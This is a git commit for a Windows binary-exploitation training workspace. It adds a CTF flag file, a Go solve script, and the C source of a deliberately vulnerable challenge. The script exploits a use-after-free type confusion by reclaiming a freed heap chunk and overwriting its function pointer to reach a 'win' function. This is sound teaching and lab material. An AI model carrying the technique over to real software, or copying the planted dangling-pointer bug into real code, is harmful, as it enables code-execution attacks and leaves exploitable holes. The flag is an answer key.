restructure workspace into numbered pwn progression

Rename task dirs to 01_info_leak through 07_heap_aslr following a
standard learning order (info leak → ROP → fmtstr → heap overflow →
UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos,
heap_segment, and template directories. Strip debug symbols from all
compiled challenge binaries and remove all .exe files from the tree.
Strip all explanatory comments from solve scripts.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
2026-08-06 22:21:32 +03:00
co-authored by Claude Sonnet 4.6
parent 3b7d01c748
commit c9aafc512b
76 changed files with 313 additions and 1832 deletions
+1
View File
@@ -0,0 +1 @@
flag{type_confusion_via_uaf}
+91
View File
@@ -0,0 +1,91 @@
package main
import (
"bytes"
"fmt"
"log"
"strconv"
"winpwn"
)
func parseAddr(line []byte) (uint64, error) {
idx := bytes.Index(line, []byte("addr=0x"))
if idx == -1 {
return 0, fmt.Errorf("no addr= in %q", line)
}
return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
}
func main() {
pf, err := winpwn.OpenPE("heap_typemix.exe")
if err != nil {
log.Fatalf("OpenPE: %v", err)
}
winRVA, err := pf.GetProcAddress("win")
if err != nil {
log.Fatalf("win() not found in export table: %v", err)
}
base, err := pf.ImageBase()
if err != nil {
log.Fatalf("ImageBase: %v", err)
}
winAddr := base + winRVA
pf.Close()
fmt.Printf("[+] win() @ 0x%X\n", winAddr)
tube, err := winpwn.Spawn("heap_typemix.exe")
if err != nil {
log.Fatalf("Spawn: %v", err)
}
if _, err := tube.RecvLine(); err != nil {
log.Fatalf("RecvLine: %v", err)
}
if err := tube.SendLine([]byte("N victim")); err != nil {
log.Fatalf("SendLine N: %v", err)
}
resp, err := tube.RecvLine()
if err != nil {
log.Fatalf("RecvLine N resp: %v", err)
}
victimAddr, err := parseAddr(resp)
if err != nil {
log.Fatalf("parse victim addr: %v", err)
}
fmt.Printf("[+] victim Note @ 0x%X\n", victimAddr)
if err := tube.SendLine([]byte("D 0")); err != nil {
log.Fatalf("SendLine D: %v", err)
}
if _, err := tube.RecvLine(); err != nil {
log.Fatalf("RecvLine D resp: %v", err)
}
fmt.Printf("[+] freed Note (dangling pointer at id=0)\n")
payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...)
payloadHex := winpwn.Enhex(payload)
if err := tube.SendLine([]byte("T " + payloadHex)); err != nil {
log.Fatalf("SendLine T: %v", err)
}
resp, err = tube.RecvLine()
if err != nil {
log.Fatalf("RecvLine T resp: %v", err)
}
tokenAddr, err := parseAddr(resp)
if err != nil {
log.Fatalf("parse token addr: %v", err)
}
fmt.Printf("[+] Token @ 0x%X (want 0x%X)\n", tokenAddr, victimAddr)
if tokenAddr != victimAddr {
fmt.Printf("[-] WARN: addresses don't match -- chunk reuse didn't happen\n")
fmt.Printf(" (check: did LFH activate? too many prior allocations?)\n")
}
fmt.Printf("[+] dispatching P 0 (UAF call through dangling pointer)...\n")
if err := tube.SendLine([]byte("P 0")); err != nil {
log.Fatalf("SendLine P: %v", err)
}
tube.Interactive()
}
+163
View File
@@ -0,0 +1,163 @@
/*
heap_typemix -- UAF type-confusion on Windows NT Heap (no LFH).
Two struct types happen to be exactly the same size (32 bytes):
Note: { char title[24]; void(*onPrint)(const char*); }
Token: { char data[24]; void(*validate)(const char*); }
The bug: Delete (D command) frees Note.title memory but leaves the note
pointer in the table. Token (T command) allocates raw 32-byte objects from
the SAME heap. Because the freed Note slot goes straight back to the NT Heap
backend freelist (no LFH: HeapSetInformation is NOT called here), the next
HeapAlloc(32) returns the same address. The caller then "prints" the stale
Note, which actually dispatches through Token.validate -- attacker controlled.
This is a pure type-confusion UAF: no grooming needed, freed chunk comes back
on the very next 32-byte allocation, deterministically (pre-LFH, backend only,
1-2 allocations total per run).
Protocol (one command per line, stdout unbuffered):
N <text> allocate Note{title[24], onPrint=real_print}.
-> "OK id=<n> addr=0x<hex>"
D <id> HeapFree the Note (pointer stays in table -- the bug).
-> "OK"
T <hex32> HeapAlloc 32 bytes, write attacker bytes verbatim.
-> "OK addr=0x<hex>"
P <id> call notes[id]->onPrint(notes[id]->title).
-> output from whatever onPrint actually points at now.
Q quit.
NOTE FOR TASK AUTHORS: no LFH activation (≥18 same-size allocations) is
needed here because the freed chunk is on the NT Heap backend freelist. One
allocation reliably reclaims it on this build (10.0.26100). If you need to
adapt this for a different build, verify the reuse behavior with PoC 02
(heap/pocs/02_lfh_probe.c) before trusting this claim.
*/
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
typedef struct {
char title[24];
void (*onPrint)(const char *);
} Note;
#define MAX_NOTES 256
static Note *g_notes[MAX_NOTES];
static int g_note_count = 0;
static HANDLE g_heap;
static void real_print(const char *title) {
printf("note: %s\n", title);
fflush(stdout);
}
__declspec(dllexport) void win(const char *ignored) {
HANDLE hFile;
char buffer[256];
DWORD bytesRead;
printf("type confusion worked -- code execution via freed onPrint pointer\n");
fflush(stdout);
hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Cannot open flag.txt\n");
fflush(stdout);
ExitProcess(0);
}
if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) {
buffer[bytesRead] = '\0';
printf("%s", buffer);
fflush(stdout);
}
CloseHandle(hFile);
ExitProcess(0);
}
static int hexval(char c) {
if (c >= '0' && c <= '9') return c - '0';
if (c >= 'a' && c <= 'f') return c - 'a' + 10;
if (c >= 'A' && c <= 'F') return c - 'A' + 10;
return -1;
}
static int unhex(const char *hex, unsigned char *out, int maxout) {
int n = (int)strlen(hex);
if (n % 2 != 0 || n / 2 > maxout) return 0;
for (int i = 0; i < n / 2; i++) {
int hi = hexval(hex[i * 2]);
int lo = hexval(hex[i * 2 + 1]);
if (hi < 0 || lo < 0) return 0;
out[i] = (unsigned char)((hi << 4) | lo);
}
return n / 2;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
/* Private heap, no LFH forcing -- freed chunks return to backend freelist */
g_heap = HeapCreate(0, 0, 0);
if (!g_heap) {
printf("HeapCreate failed\n");
return 1;
}
printf("heap_typemix ready\n");
char line[512];
while (fgets(line, sizeof(line), stdin)) {
line[strcspn(line, "\r\n")] = 0;
if (line[0] == 'N' && line[1] == ' ') {
if (g_note_count >= MAX_NOTES) { printf("ERR too many notes\n"); continue; }
Note *n = (Note *)HeapAlloc(g_heap, 0, sizeof(Note));
if (!n) { printf("ERR alloc\n"); continue; }
strncpy(n->title, line + 2, sizeof(n->title) - 1);
n->title[sizeof(n->title) - 1] = 0;
n->onPrint = real_print;
int id = g_note_count++;
g_notes[id] = n;
printf("OK id=%d addr=0x%p\n", id, (void *)n);
} else if (line[0] == 'D' && line[1] == ' ') {
int id = atoi(line + 2);
if (id < 0 || id >= g_note_count || !g_notes[id]) {
printf("ERR bad id\n"); continue;
}
HeapFree(g_heap, 0, g_notes[id]);
/* BUG: pointer stays in table -- classic dangling UAF */
printf("OK\n");
} else if (line[0] == 'T' && line[1] == ' ') {
unsigned char buf[32];
int n = unhex(line + 2, buf, 32);
if (n != 32) { printf("ERR need exactly 64 hex chars (32 bytes)\n"); continue; }
void *p = HeapAlloc(g_heap, 0, 32);
if (!p) { printf("ERR alloc\n"); continue; }
memcpy(p, buf, 32);
printf("OK addr=0x%p\n", p);
} else if (line[0] == 'P' && line[1] == ' ') {
int id = atoi(line + 2);
if (id < 0 || id >= g_note_count) {
printf("ERR bad id\n"); continue;
}
/* note[id] may be freed -- the UAF lives here */
g_notes[id]->onPrint(g_notes[id]->title);
} else if (line[0] == 'Q') {
break;
} else {
printf("ERR unknown command\n");
}
fflush(stdout);
}
return 0;
}